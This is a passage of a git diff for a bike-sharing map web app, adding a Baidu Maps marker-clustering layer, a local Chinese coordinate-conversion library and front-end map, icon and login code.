Map(), bikes = [], selectedId = null; + let clusteringEnabled = options.enabled !== false; + let frame = 0, regroupFrame = 0, expandedKey = null, destroyed = false; + const listeners = []; + map.addOverlay(overlay); + + function point(value) { return new BMapGL.Point(value.lng, value.lat); } + function schedule() { + if (!frame && !destroyed) frame = requestAnimationFrame(draw); + } + function position(record) { + const p = map.pointToOverlayPixel(point(record.position)); + if (!p || !Number.isFinite(p.x) || !Number.isFinite(p.y)) { + record.el.style.visibility = 'hidden'; + return; + } + record.el.style.visibility = ''; + record.el.style.transform = `translate3d(${p.x + record.offset.x}px,${p.y + record.offset.y}px,0)`; + record.button.style.transform = 'translate(-50%,-50%)'; + record.button.style.opacity = record.opacity; + } + // Only opacity changes: every marker stays anchored to its actual coordinate. + function fade(record, retiring) { + record.retiring = retiring; + record.fadeFrom = record.opacity; + record.fadeStart = performance.now(); + } + function draw(now) { + frame = 0; + let moving = false; + records.forEach((record, key) => { + const progress = motionQuery.matches ? 1 : Math.min(Math.max((now - record.fadeStart) / 160, 0), 1); + const eased = 1 - (1 - progress) ** 3; + record.opacity = record.fadeFrom + ((record.retiring ? 0 : 1) - record.fadeFrom) * eased; + position(record); + if (record.retiring && progress === 1) { record.el.remove(); records.delete(key); } + moving = moving || progress < 1; + }); + if (moving) schedule(); + } + + function updateContent(record, node) { + record.node = node; + record.position = { ...node.point }; + record.offset = node.offset; + record.el.style.zIndex = node.count > 1 ? '2' : '3'; + const button = record.button; + button.className = node.count > 1 ? 'bike-bubble' : 'bike-dot'; + button.style.setProperty('--bubble-size', `${node.size}px`); + if (node.count > 1) { + button.classList.toggle('is-unavailable', node.available === 0); + button.style.setProperty('--available-angle', `${node.available / node.count * 360}deg`); + if (!record.countEl) { + button.replaceChildren(); + const ring = document.createElement('span'); ring.className = 'bike-bubble-ring'; + ring.setAttribute('aria-hidden', 'true'); + record.countEl = document.createElement('span'); record.countEl.className = 'bike-bubble-count'; + record.labelEl = document.createElement('span'); record.labelEl.className = 'bike-bubble-label'; + button.append(ring, record.countEl, record.labelEl); + } + record.countEl.textContent = node.count; + record.labelEl.textContent = node.available ? `${node.available} 可用` : '暂无可用'; + button.setAttribute('aria-label', `${node.count} 辆电动车,${node.available} 辆可用,点击展开`); + } else { + record.setIcon(getIcon(node.members[0], node.ids[0] === String(selectedId))); + record.setTitle(`#${node.members[0].code}`); + button.setAttribute('aria-label', `查看电动车 #${node.members[0].code}`); + } + } + + function createRecord(node) { + const el = document.createElement('div'); el.className = 'bike-bubble-anchor'; + const button = document.createElement('button'); button.type = 'button'; + el.appendChild(button); layer.appendChild(el); + const record = { + el, button, node, position: { ...node.point }, offset: node.offset, + opacity: 0, fadeFrom: 0, fadeStart: performance.now(), retiring: false, + __animId: node.ids[0], + getPosition() { return point(this.position); }, + getTitle() { return this.button.title; }, + setTitle(title) { this.button.title = title; }, + setIcon(icon) { + const appearance = icon.__xbniuAppearance; + if (!appearance) return; + let img = this.button.querySelector('img'); + if (!img) { img = document.createElement('img'); img.alt = ''; this.button.replaceChildren(img); } + if (img.getAttribute('src') !== appearance.url) img.src = appearance.url; + this.button.style.width = this.button.style.height = `${appearance.size}px`; + this.el.style.zIndex = appearance.size > 36 ? '5' : '3'; + }, + bringToTop() { this.el.style.zIndex = '6'; } + }; + // Never turn movement across a bubble into a tap. + let down = null; + button.addEventListener('pointerdown', event => { down = { x: event.clientX, y: event.clientY }; }); + button.addEventListener('click', event => { + event.stopPropagation(); + if (down && Math.hypot(event.clientX - down.x, event.clientY - down.y) > 8) { down = null; return; } + down = null; + if (record.retiring) return; + if (record.node.count === 1) onBikeClick(record.node.ids[0]); + else expand(record.node); + }); + button.addEventListener('dblclick', event => event.stopPropagation()); + updateContent(record, node); + position(record); + return record; + } + + function render(nodes) { + const nextKeys = new Set(nodes.map(node => node.key)); + nodes.forEach(node => { + let record = records.get(node.key); + if (!record) { + record = createRecord(node); + records.set(node.key, record); + } else { + updateContent(record, node); + if (record.retiring) fade(record, false); + } + record.button.disabled = false; + }); + records.forEach((record, key) => { + if (nextKeys.has(key)) return; + if (!record.retiring) fade(record, true); + record.button.disabled = true; + }); + options.onMarkersChanged(Array.from(records.values()).filter(r => !r.retiring && r.node.count === 1)); + schedule(); + } + + function regroup() { + regroupFrame = 0; + if (destroyed) return; + expandedKey = null; + render(clusterBikes(bikes, p => map.pointToOverlayPixel(point(p)), getPoint, getState, 64, selectedId, map.getZoom(), clusteringEnabled)); + } + function requestRegroup() { + schedule(); + if (!regroupFrame) regroupFrame = requestAnimationFrame(regroup); + } + function expand(node) { + const zoom = map.getZoom(); + const coincident = node.members.every(bike => { + const p = getPoint(bike); + return Math.abs(p.lat - node.point.lat) + Math.abs(p.lng - node.point.lng) < 1e-8; + }); + if (zoom < 21 && !coincident) { + map.centerAndZoom(point(node.point), Math.min(21, zoom + 2)); + return; + } + // Identical GPS positions still need individually tappable cars. + // A golden-angle spiral keeps even a dense parking spot separated. + expandedKey = node.key; + const others = Array.from(records.values()).filter(r => !r.retiring && r.node.key !== node.key).map(r => r.node); + const singles = node.members.map((bike, index) => { + const angle = index * 2.399963229728653; + const radius = 38 * Math.sqrt(index + 1); + const id = bikeId(bike); + return { key: `bike:${id}`, ids: [id], members: [bike], count: 1, + available: getState(bike) === 'available' ? 1 : 0, size: 36, + point: getPoint(bike), offset: { x: Math.cos(angle) * radius, y: Math.sin(angle) * radius } }; + }); + render(others.concat(singles)); + } + function listen(name, fn) { map.addEventListener(name, fn); listeners.push([name, fn]); } + listen('moving', schedule); + listen('zooming', schedule); + listen('moveend', () => { if (expandedKey) requestRegroup(); else schedule(); }); + listen('zoomend', requestRegroup); + listen('resize', requestRegroup); + listen('click', () => { if (expandedKey) requestRegroup(); }); + motionQuery.addEventListener('change', schedule); + + return { + setData(data) { bikes = normalizeBikes(data); regroup(); }, + setClusteringEnabled(enabled) { + clusteringEnabled = !!enabled; + regroup(); + }, + setSelected(id) { + if (String(selectedId) === String(id)) return; + selectedId = id; + requestRegroup(); + }, + refresh: requestRegroup, + destroy() { + destroyed = true; + cancelAnimationFrame(frame); cancelAnimationFrame(regroupFrame); + listeners.forEach(([name, fn]) => map.removeEventListener(name, fn)); + motionQuery.removeEventListener('change', schedule); + map.removeOverlay(overlay); + layer.remove(); records.clear(); + } + }; + } + + const api = { normalizeBikes, bikeId, clusterBikes, createLayer, + PREFERENCE_KEY, readClusteringPreference, writeClusteringPreference }; + if (typeof module !== 'undefined' && module.exports) module.exports = api; + else root.BikeClusters = api; +})(typeof window === 'undefined' ? globalThis : window); diff --git a/static/js/coordtransform.js b/static/js/coordtransform.js new file mode 100644 index 0000000..7b8e2d5 --- /dev/null +++ b/static/js/coordtransform.js @@ -0,0 +1,132 @@ +/*! + * coordtransform 本地内置版 (前端坐标转换) + * ---------------------------------------------------------------- + * API 与 npm 包 coordtransform (github.com/wandergis/coordTransform_js) + * 完全一致:均为标准中国坐标偏移算法(MIT 协议)。 + * 提供 wgs84 / gcj02 / bd09 三系两两互转,纯前端、同步、零依赖, + * 避免调用百度在线坐标转换接口(BMapGL.Convertor)时的联网/异步依赖。 + * + * 引入方式(map.html): + * + * 用法(注意:入参顺序均为 (lng, lat),返回 [lng, lat]): + * coordtransform.wgs84tobd09(gpsLng, gpsLat) // => [bd09_lng, bd09_lat] + */ +(function (root, factory) { + if (typeof module === 'object' && module.exports) { + module.exports = factory(); // CommonJS + } else if (typeof define === 'function' && define.amd) { + define(factory); // AMD + } else { + root.coordtransform = factory(); // 浏览器全局(本文件走此分支) + } +}(typeof self !== 'undefined' ? self : this, function () { + 'use strict'; + + var x_PI = 3.14159265358979324 * 3000.0 / 180.0; // 百度加密偏移系数 + var PI = 3.1415926535897932384626; // 圆周率 + var a = 6378245.0; // 长半轴(克拉索夫斯基椭球) + var ee = 0.00669342162296594323; // 偏心率平方 + + // 是否在中国境外(境外不适用 GCJ-02 偏移,原样返回) + function out_of_china(lng, lat) { + return (lng < 72.004 || lng > 137.8347) || + ((lat < 0.8293 || lat > 55.8271) || false); + } + + // 纬度偏移量 + function transformlat(lng, lat) { + var ret = -100.0 + 2.0 * lng + 3.0 * lat + 0.2 * lat * lat + + 0.1 * lng * lat + 0.2 * Math.sqrt(Math.abs(lng)); + ret += (20.0 * Math.sin(6.0 * lng * PI) + 20.0 * Math.sin(2.0 * lng * PI)) * 2.0 / 3.0; + ret += (20.0 * Math.sin(lat * PI) + 40.0 * Math.sin(lat / 3.0 * PI)) * 2.0 / 3.0; + ret += (160.0 * Math.sin(lat / 12.0 * PI) + 320 * Math.sin(lat * PI / 30.0)) * 2.0 / 3.0; + return ret; + } + + // 经度偏移量 + function transformlng(lng, lat) { + var ret = 300.0 + lng + 2.0 * lat + 0.1 * lng * lng + + 0.1 * lng * lat + 0.1 * Math.sqrt(Math.abs(lng)); + ret += (20.0 * Math.sin(6.0 * lng * PI) + 20.0 * Math.sin(2.0 * lng * PI)) * 2.0 / 3.0; + ret += (20.0 * Math.sin(lng * PI) + 40.0 * Math.sin(lng / 3.0 * PI)) * 2.0 / 3.0; + ret += (150.0 * Math.sin(lng / 12.0 * PI) + 300.0 * Math.sin(lng / 30.0 * PI)) * 2.0 / 3.0; + return ret; + } + + // WGS84 -> GCJ02 + function wgs84togcj02(lng, lat) { + if (out_of_china(lng, lat)) { + return [lng, lat]; + } + var dLat = transformlat(lng - 105.0, lat - 35.0); + var dLng = transformlng(lng - 105.0, lat - 35.0); + var radLat = lat / 180.0 * PI; + var magic = Math.sin(radLat); + magic = 1 - ee * magic * magic; + var sqrtMagic = Math.sqrt(magic); + dLat = (dLat * 180.0) / ((a * (1 - ee)) / (magic * sqrtMagic) * PI); + dLng = (dLng * 180.0) / (a / sqrtMagic * Math.cos(radLat) * PI); + var mgLat = lat + dLat; + var mgLng = lng + dLng; + return [mgLng, mgLat]; + } + + // GCJ02 -> WGS84(迭代近似) + function gcj02towgs84(lng, lat) { + if (out_of_china(lng, lat)) { + return [lng, lat]; + } + var dlat = transformlat(lng - 105.0, lat - 35.0); + var dlng = transformlng(lng - 105.0, lat - 35.0); + var radlat = lat / 180.0 * PI; + var magic = Math.sin(radlat); + magic = 1 - ee * magic * magic; + var sqrtmagic = Math.sqrt(magic); + dlat = (dlat * 180.0) / ((a * (1 - ee)) / (magic * sqrtmagic) * PI); + dlng = (dlng * 180.0) / (a / sqrtmagic * Math.cos(radlat) * PI); + var mglat = lat + dlat; + var mglng = lng + dlng; + return [lng * 2 - mglng, lat * 2 - mglat]; + } + + // GCJ02 -> BD09 + function gcj02tobd09(lng, lat) { + var z = Math.sqrt(lng * lng + lat * lat) + 0.00002 * Math.sin(lat * x_PI); + var theta = Math.atan2(lat, lng) + 0.000003 * Math.cos(lng * x_PI); + var bd_lng = z * Math.cos(theta) + 0.0065; + var bd_lat = z * Math.sin(theta) + 0.006; + return [bd_lng, bd_lat]; + } + + // BD09 -> GCJ02 + function bd09togcj02(lng, lat) { + var x = lng - 0.0065; + var y = lat - 0.006; + var z = Math.sqrt(x * x + y * y) - 0.00002 * Math.sin(y * x_PI); + var theta = Math.atan2(y, x) - 0.000003 * Math.cos(x * x_PI); + var gg_lng = z * Math.cos(theta); + var gg_lat = z * Math.sin(theta); + return [gg_lng, gg_lat]; + } + + // WGS84 -> BD09(定位坐标系最常用:GPS 转百度) + function wgs84tobd09(lng, lat) { + var gcj02 = wgs84togcj02(lng, lat); + return gcj02tobd09(gcj02[0], gcj02[1]); + } + + // BD09 -> WGS84(百度转 GPS) + function bd09towgs84(lng, lat) { + var gcj02 = bd09togcj02(lng, lat); + return gcj02towgs84(gcj02[0], gcj02[1]); + } + + return { + wgs84togcj02: wgs84togcj02, + gcj02towgs84: gcj02towgs84, + gcj02tobd09: gcj02tobd09, + bd09togcj02: bd09togcj02, + wgs84tobd09: wgs84tobd09, + bd09towgs84: bd09towgs84 + }; +})); diff --git a/static/js/map.js b/static/js/map.js new file mode 100644 index 0000000..ae4141a --- /dev/null +++ b/static/js/map.js @@ -0,0 +1,5305 @@ + // ========== 全局变量 ========== + let map = null; + let currentType = "3"; + let currentUser = null; // 当前登录用户 + let authKickToastShown = false; // 防重复提示“登录已失效” + let authMode = "login"; // login 或 register + let authToken = localStorage.getItem("auth_token") || null; + let currentMarkers = []; + let currentPolygons = []; + let selectedBike = null; + let markersData = {}; + let currentMarkersById = {}; // 用于刷新时快速定位 + let myLocationMarker = null; + let autoLocationMarker = null; // 自动持续定位的标记 + let autoLocationWatchId = null; // watchPosition 的 ID + let hasLocationPermission = false; // 是否已获取位置权限 + let initialLocationCentered = false; // 是否已按用户位置完成首次居中(每页仅一次) + let nearestBikeId = null; + let isFirstLoad = true; // 标记首次加载 + let highlightedBikeId = null; // 高亮的车辆ID + // A failed optional map asset must not abort order/return initialization. + let bikeClusteringEnabled = typeof BikeClusters !== "undefined" + ? BikeClusters.readClusteringPreference(localStorage) : true; + // 百度地图 API Key(用于坐标转换) + const BAIDU_AK = "GzzqszczKmI7RNTclpLtOXZDTT4mq8a6"; + + // ========== 图标缓存(性能优化)========== + // 缓存: key = "电量|颜色|是否高亮" → BMapGL.Icon + const iconCache = new Map(); + const ICON_CACHE_MAX = 500; // 最多缓存500个不同图标 + + // ========== 预创建完整图标(首次加载优化)========== + // 预创建各电量和颜色的完整图标(避免首次加载时大量 Canvas 绘制) + const BASE_ICON_COLORS = { + available: "#34C759", // 绿色-可用 + inuse: "#FF2D55", // 红色-使用中 + locked: "#FF9F0A", // 橙色-欠压 + reserved: "#5856D6", // 紫色-损坏 + lowbattery: "#8E8E93" // 灰色-低电量 + }; + + // 预创建非高亮状态的完整图标(电量档位 0, 20, 40, 60, 80, 100) + const prebuiltIcons = new Map(); // key: "电量档位|颜色", value: BMapGL.Icon + + function createFullIcon(size, color, electric, isHighlighted, bikeCode) { + const canvas = document.createElement("canvas"); + canvas.width = size; + canvas.height = size; + const ctx = canvas.getContext("2d"); + const r = size / 2 - (isHighlighted ? 12 : 8); + const lineWidth = isHighlighted ? 16 : 12; + const centerX = size / 2; + const centerY = size / 2; + + // 高亮时加阴影 + if (isHighlighted) { + ctx.shadowColor = color; + ctx.shadowBlur = 48; + } + + // 白色背景 + ctx.beginPath(); + ctx.arc(centerX, centerY, r, 0, Math.PI * 2); + ctx.fillStyle = "white"; + ctx.fill(); + + // 边框 + ctx.beginPath(); + ctx.arc(centerX, centerY, r, 0, Math.PI * 2); + ctx.strokeStyle = isHighlighted ? color : "rgba(200,200,200,0.5)"; + ctx.lineWidth = isHighlighted ? 16 : lineWidth; + ctx.stroke(); + ctx.shadowBlur = 0; + + // 使用中:实心圆环 + if (isHighlighted) { + // 高亮时只显示车牌号,没有进度环 + } else { + // 非高亮:绘制电量进度环 + const startAngle = -Math.PI / 2; + const endAngle = startAngle + (Math.PI * 2 * electric / 100); + ctx.beginPath(); + ctx.arc(centerX, centerY, r, startAngle, endAngle); + ctx.strokeStyle = color; + ctx.lineWidth = lineWidth; + ctx.lineCap = "round"; + ctx.stroke(); + } + + // 绘制数字 + ctx.fillStyle = "#333"; + ctx.font = isHighlighted ? "bold 60px Arial" : "bold 44px Arial"; + ctx.textAlign = "center"; + ctx.textBaseline = "middle"; + ctx.fillText(isHighlighted ? (bikeCode + "") : (Math.round(electric) + ""), centerX, centerY); + + return canvas.toDataURL("image/png"); + } + + // 预初始化完整图标(在地图加载前调用) + function preloadBaseIcons() { + const displaySize = 36; + const imageSize = displaySize * 4; // 高清4倍 + const electricLevels = [0, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95, 100]; // 21个电量档位(5%分度) + + Object.values(BASE_ICON_COLORS).forEach(color => { + // 非高亮状态:每个电量档位创建一个 + electricLevels.forEach(electric => { + const key = `${electric}|${color}`; + if (!prebuiltIcons.has(key)) { + // 存储 data URL 而不是 Icon 对象 + const dataUrl = createFullIcon(imageSize, color, electric, false, null); + prebuiltIcons.set(key, dataUrl); + } + }); + }); + console.log("[预创建] 已预创建 " + prebuiltIcons.size + " 个图标"); + } + + // ========== 用车计时 ========== + let activeRental = null; // 当前活跃租车信息 + let rentalCountdownTimer = null; // 倒计时定时器 + const RENTAL_KEY = "xbniu_rental_key"; // localStorage key + + // 手动坐标偏移(仅作为 coordtransform 未加载时的降级常量;正常走 gcj02tobd09 自动转换) + const COORD_OFFSET = { + lat: 0.00603, // 约610米(纬度) + lng: 0.00650, // 约600米-20米(经度,往西20米) + }; + + // 初始位置额外偏移(再往上30米) + const INIT_OFFSET_EXTRA = 0.00027; // 约30米(向北) + const INIT_OFFSET_EAST = 0.003; // 约300米(向东) + + // 坐标转换:车辆/地图数据为 GCJ02,逐点精确转百度 BD09(coordtransform,无在线转换上限)。 + // coordtransform.gcj02tobd09(lng, lat) -> [bd09_lng, bd09_lat] + function offsetCoord(lat, lng) { + lat = parseFloat(lat); + lng = parseFloat(lng); + if (typeof coordtransform !== "undefined" && coordtransform.gcj02tobd09) { + try { + const bd = coordtransform.gcj02tobd09(lng, lat); // [lng, lat] + return { lat: bd[1], lng: bd[0] }; + } catch (e) { + console.warn("[坐标转换] gcj02tobd09 失败,回退手动偏移:", e); + } + } + // 降级:coordtransform 未加载/出错时,沿用旧的手动常量偏移,避免点位整体偏差 + return { + lat: lat + COORD_OFFSET.lat, + lng: lng + COORD_OFFSET.lng, + }; + } + + // 状态判断函数 - 基于 state + status 组合判断 + // state=1 + status=0: 空闲可用 + // state=1 + status=1: 使用中(被占用) + // state=10: 低电量车辆 + // state=4: 欠压车辆 + // state=2: 损坏车辆 + function getBikeState(bike) { + const state = bike.state; + const status = bike.status; + const electric = Number(bike.electric_quantity ?? bike.electricQuantity ?? 100); + // 使用中:被占用 + if (state === 1 && status === 1) return 'inuse'; + // 低电量:state=10 或电量<20(与后端 _classify_bike_state 同序) + if (state === 10 || electric < 20) return 'lowbattery'; + // 空闲可用 + if (state === 1) return 'available'; + // 欠压车辆 + if (state === 4) return 'locked'; + // 损坏车辆 + if (state === 2) return 'reserved'; + return 'unknown'; + } + + // ========== 电池绘制 ========== + function updateRingProgress(percent, color) { + const fill = document.getElementById("battery-fill"); + if (fill) { + // 电量填充区域最大宽度 39px(外框内宽 = 43-4 left offset-2border=39) + const maxW = 39; + const w = Math.round((percent / 100) * maxW); + fill.setAttribute("width", w); + fill.setAttribute("fill", color); + } + } + + // ========== Canvas 电量圆环图标 ========== + function makeIconDataURI(color, percent, isInUse, size = 36) { + const canvas = document.createElement("canvas"); + canvas.width = size; + canvas.height = size; + const ctx = canvas.getContext("2d"); + const r = size / 2 - 2; + const lineWidth = 3; + const centerX = size / 2; + const centerY = size / 2; + + ctx.beginPath(); + ctx.arc(centerX, centerY, r - lineWidth, 0, Math.PI * 2); + ctx.fillStyle = "rgba(255,255,255,0.9)"; + ctx.fill(); + + ctx.beginPath(); + ctx.arc(centerX, centerY, r, 0, Math.PI * 2); + ctx.strokeStyle = "rgba(200,200,200,0.5)"; + ctx.lineWidth = lineWidth; + ctx.stroke(); + + if (isInUse) { + ctx.beginPath(); + ctx.arc(centerX, centerY, r, 0, Math.PI * 2); + ctx.strokeStyle = color; + ctx.lineWidth = lineWidth; + ctx.stroke(); + } else { + const startAngle = -Math.PI / 2; + const endAngle = startAngle + (Math.PI * 2 * percent / 100); + ctx.beginPath(); + ctx.arc(centerX, centerY, r, startAngle, endAngle); + ctx.strokeStyle = color; + ctx.lineWidth = lineWidth; + ctx.lineCap = "round"; + ctx.stroke(); + } + + ctx.fillStyle = "#333"; + ctx.font = `bold ${size < 36 ? 10 : 11}px Arial`; + ctx.textAlign = "center"; + ctx.textBaseline = "middle"; + ctx.fillText(Math.round(percent) + "", centerX, centerY); + + return canvas.toDataURL("image/png"); + } + + // ========== 车辆类型(编号规则,按实车号段)========== + // - 编号超过 5 位(如 30000193 / 30000033,共 8 位):新引进红色外观车 → 红车 + // - 5 位编号取「前三位号段」:511 及以上=大车,510 及以下=小车 + // (实测号段:503/504/505/510=小车,511/512/513=大车) + // 红车电量球统一用柔和砖红(不用"使用中"那种血红 #FF2D55,避免视觉惊扰) + const RED_BIKE_COLOR = "#B4615A"; // 柔和砖红 + + function getBikeKind(bike) { + const digits = String((bike && bike.code) || "").replace(/\D/g, ""); + if (digits.length > 5) { + return { key: "red", label: "红车", color: RED_BIKE_COLOR }; + } + const num = parseInt(digits, 10); + if (!isFinite(num)) { + return { key: "small", label: "小车", color: null }; + } + // 5 位取前三位号段;不足 5 位直接用编号本身比较 + const series = digits.length >= 5 ? Math.floor(num / Math.pow(10, digits.length - 3)) : num; + return series >= 511 + ? { key: "big", label: "大车", color: null } + : { key: "small", label: "小车", color: null }; + } + + function getBikeIcon(bike, isHighlighted = false) { + const electric = Number(bike.electric_quantity ?? bike.electricQuantity ?? 100); + const bikeState = getBikeState(bike); + // 车辆类型只影响弹起卡片上的标注,地图电量球保持原有「按状态配色」 + + let color = "#34C759"; // 默认绿色-可用 + if (bikeState === 'inuse') { + color = "#FF2D55"; // 红色-使用中 + } else if (bikeState === 'locked') { + color = "#FF9F0A"; // 橙色-欠压车辆 + } else if (bikeState === 'reserved') { + color = "#5856D6"; // 紫色-损坏车辆 + } else if (bikeState === 'lowbattery' || electric < 20) { + color = "#8E8E93"; // 灰色-低电量 + } + + // 生成缓存 key + const electricLevel = Math.floor(electric / 5) * 5; + const cacheKey = isHighlighted + ? `${electricLevel}|${color}|1|${bike.code}` + : `${electricLevel}|${color}|0`; + + // 检查缓存 + if (iconCache.has(cacheKey)) { + return iconCache.get(cacheKey); + } + + const renderSize = isHighlighted ? 192 : 144; // 内部渲染尺寸 + const displaySize = isHighlighted ? 48 : 36; // 显示尺寸不变 + + // 非高亮模式:尝试使用预创建的图标 + if (!isHighlighted && prebuiltIcons.size > 0) { + // 找到最接近的电量档位 + const levels = [0, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95, 100]; + let closestLevel = levels[0]; + let minDiff = Math.abs(electric - closestLevel); + for (const lvl of levels) { + const diff = Math.abs(electric - lvl); + if (diff < minDiff) { + minDiff = diff; + closestLevel = lvl; + } + } + const prebuiltKey = `${closestLevel}|${color}`; + if (prebuiltIcons.has(prebuiltKey)) { + // 找到预创建的 data URL,直接创建 Icon + const dataUrl = prebuiltIcons.get(prebuiltKey); + const icon = new BMapGL.Icon( + dataUrl, + new BMapGL.Size(displaySize, displaySize), + new BMapGL.Size(displaySize / 2, displaySize / 2) + ); + icon.__xbniuAppearance = { url: dataUrl, size: displaySize }; + iconCache.set(cacheKey, icon); + return icon; + } + } + + // 如果没有预创建的图标,或者需要高亮状态:直接创建完整图标 + // imageSize 用于渲染高清内容,displaySize 控制显示大小 + const imageSize = renderSize * 4; // 高清4倍 + const dataUrl = createFullIcon(imageSize, color, electric, isHighlighted, bike.code); + const icon = new BMapGL.Icon( + dataUrl, + new BMapGL.Size(displaySize, displaySize), + new BMapGL.Size(displaySize / 2, displaySize / 2) + ); + icon.__xbniuAppearance = { url: dataUrl, size: displaySize }; + + // 缓存图标 + if (iconCache.size >= ICON_CACHE_MAX) { + const keysToDelete = Array.from(iconCache.keys()).slice(0, Math.floor(ICON_CACHE_MAX * 0.2)); + keysToDelete.forEach(k => iconCache.delete(k)); + } + iconCache.set(cacheKey, icon); + + return icon; + } + + // ========== 高亮相关 ========== + // 稳健查找 marker:优先用索引,索引 miss(如批量渲染未完成/刷新过程中)时按 __animId 或标题扫描 currentMarkers 兜底 + function findMarkerById(id) { + const key = String(id); + if (currentMarkersById && currentMarkersById[id]) return currentMarkersById[id]; + if (Array.isArray(currentMarkers)) { + for (let i = currentMarkers.length - 1; i >= 0; i--) { + const m = currentMarkers[i]; + if (m && m.__animId !== undefined && String(m.__animId) === key) return m; + } + for (let i = currentMarkers.length - 1; i >= 0; i--) { + const m = currentMarkers[i]; + if (m && m.getTitle) { + const t = String(m.getTitle()).replace(/^#/, ""); + if (t === key) return m; + } + } + } + return null; + } + + // 让指定 marker 显示在最上层(放大高亮图标避免被其它普通 marker 遮住) + function bringMarkerToTop(marker) { + if (marker && marker.bringToTop) { marker.bringToTop(); return; } + if (marker && typeof map !== 'undefined' && map && typeof map.removeOverlay === 'function' && typeof map.addOverlay === 'function') { + try { + const markerId = marker.__animId; + map.removeOverlay(marker); + map.addOverlay(marker); + // removeOverlay/addOverlay 可能重建 marker 的 DOM,重绑一次原生 touch 兜底,避免点按失效 + if (markerId !== undefined) bindMarkerDomTouch(marker); + } catch (e) { /* 忽略:个别情况下不允许重排 */ } + } + } + + function setHighlight(id) { + // 清除之前的高亮 + if (highlightedBikeId !== null) { + const prevMarker = findMarkerById(highlightedBikeId); + const prevBike = markersData[highlightedBikeId]; + if (prevMarker && prevBike) { + try { prevMarker.setIcon(getBikeIcon(prevBike, false)); } catch (e) { console.warn("[setHighlight] 还原图标失败", e); } + } + } + + // 设置新高亮 + highlightedBikeId = id; + if (bikeBubbleLayer) bikeBubbleLayer.setSelected(id); + if (id === null || id === undefined) return; + const marker = findMarkerById(id); + const bike = markersData[id] || markersData[String(id)] || markersData[Number(id)]; + if (marker && bike) { + try { + marker.setIcon(getBikeIcon(bike, true)); + bringMarkerToTop(marker); + } catch (e) { console.warn("[setHighlight] 放大高亮失败", e); } + } else { + console.warn("[setHighlight] 未找到 marker 或 bike, id=", id); + } + } + + function clearHighlight() { + if (highlightedBikeId !== null) { + const prevMarker = findMarkerById(highlightedBikeId); + const prevBike = markersData[highlightedBikeId]; + if (prevMarker && prevBike) { + try { prevMarker.setIcon(getBikeIcon(prevBike, false)); } catch (e) { console.warn("[clearHighlight] 还原图标失败", e); } + } + } + highlightedBikeId = null; + if (bikeBubbleLayer) bikeBubbleLayer.setSelected(null); + } + + // ========== Marker 点按绑定(统一入口)========== + // 背景:BMapGL 在拖动地图后会把紧接的一次对 marker 的 click 吞掉(当作拖拽延续), + // 导致“点了点但模态框弹不出”。因此这里不用单一 click,而是额外用 + // mousedown/mouseup 与原生 touch 的“按下→抬起无位移”判定作为自控点击路径。 + + // 把原生 touch 兜底绑到 marker 的当前 DOM 元素上(幂等,可被重复调用, + // 用于 domElement 延迟就绪或 removeOverlay/addOverlay 重建 DOM 之后补绑)。 + function bindMarkerDomTouch(marker) { + const tap = marker && marker.__xbniuTap; + if (!tap) return; + const el = marker.domElement; + if (!el) return; + if (el.__xbniuTapBound) return; + el.__xbniuTapBound = true; + try { + el.addEventListener('touchstart', (e) => { + const t = e.touches && e.touches[0]; + if (t) tap._down(t.clientX, t.clientY); + }, { passive: true }); + el.addEventListener('touchend', (e) => { + const t = e.changedTouches && e.changedTouches[0]; + if (t) { + try { e.preventDefault(); } catch (err) {} + tap._up(t.clientX, t.clientY); + } + }, { passive: false }); + } catch (e) { /* 忽略绑定失败 */ } + } + + // 给单个 marker 绑定点按处理。marker 需已 __animId = id。 + function bindMarkerTap(marker, id) { + const tap = { + lastFire: 0, // 防重入:同一 marker 短时间内只触发一次 + downX: null, downY: null, downT: 0, + _fire() { + // 同一 marker 的 click / mouseup / touchend 都可能触发本路径,300ms 内只放行一次 + const now = Date.now(); + if (now - this.lastFire < 300) return; + this.lastFire = now; + clearHighlight(); + showBikeDetail(id); + }, + _down(x, y) { this.downX = x; this.downY = y; this.downT = Date.now(); }, + _up(x, y) { + if (this.downX === null) return; + const dx = x - this.downX, dy = y - this.downY; + const moved = Math.sqrt(dx * dx + dy * dy); + const dt = Date.now() - this.downT; + this.downX = this.downY = null; + // 无位移(<10px)且按压短暂(<600ms) 判定为点按 → 即使 BMapGL 吞了 click 也能打开 + if (moved < 10 && dt < 600) this._fire(); + } + }; + marker.__xbniuTap = tap; + + // 1) BMapGL 对象级事件:click 为主路径,mousedown/mouseup 补偿“拖动后被吞的 click” + try { + marker.addEventListener('click', () => tap._fire()); + marker.addEventListener('mousedown', (e) => tap._down(e.clientX, e.clientY)); + marker.addEventListener('mouseup', (e) => tap._up(e.clientX, e.clientY)); + } catch (e) { /* 个别事件类型不支持时忽略 */ } + + // 2) 原生 touch 兜底(移动端最可靠)。domElement 可能延迟生成,故稍后补绑。 + bindMarkerDomTouch(marker); + if (!marker.domElement) { + // domElement 尚未就绪:极轻量轮询补绑(最多约 1s),避免移动端兜底落空 + let tries = 0; + const timer = setInterval(() => { + tries++; + if (marker.domElement) { + bindMarkerDomTouch(marker); + clearInterval(timer); + } else if (tries > 10) { + clearInterval(timer); + } + }, 100); + } + } + + // ========== 初始化地图 ========== + let mapInitializationStarted = false; + function initMap() { + // 等待 BMapGL 对象加载完成 + function waitForBMap(retries = 30) { + if (mapInitializationStarted) return; + if (typeof BMapGL !== 'undefined' && typeof BMapGL.Map === 'function') { + mapInitializationStarted = true; + initMapCore(); + } else if (retries > 0) { + console.log(`等待百度地图GL API加载... (${retries})`); + setTimeout(() => waitForBMap(retries - 1), 500); + } else { + console.error("百度地图GL API加载失败"); + showToast("地图API加载失败,请检查网络后刷新"); + } + } + waitForBMap(); + } + + // ========== 登录认证 ========== + function handleAuthBtnClick() { + if (currentUser) { + // 已登录,显示个人中心 + showProfileModal(); + } else { + // 未登录,显示登录弹窗 + showLoginModal(); + } + } + + function showLoginModal() { + closeAllModals(); + document.getElementById("login-modal").classList.add("show"); + document.getElementById("login-email").focus(); + } + + function closeLoginModal() { + document.getElementById("login-modal").classList.remove("show"); + document.getElementById("login-tip").textContent = ""; + } + + function showRegisterModal() { + closeLoginModal(); + closeRegisterModal(); + document.getElementById("register-modal").classList.add("show"); + document.getElementById("register-email").focus(); + } + + function closeRegisterModal() { + document.getElementById("register-modal").classList.remove("show"); + document.getElementById("register-tip").textContent = ""; + } + + function openSettingsPage() { + closeAllModals(); + document.getElementById("settings-clustering").checked = 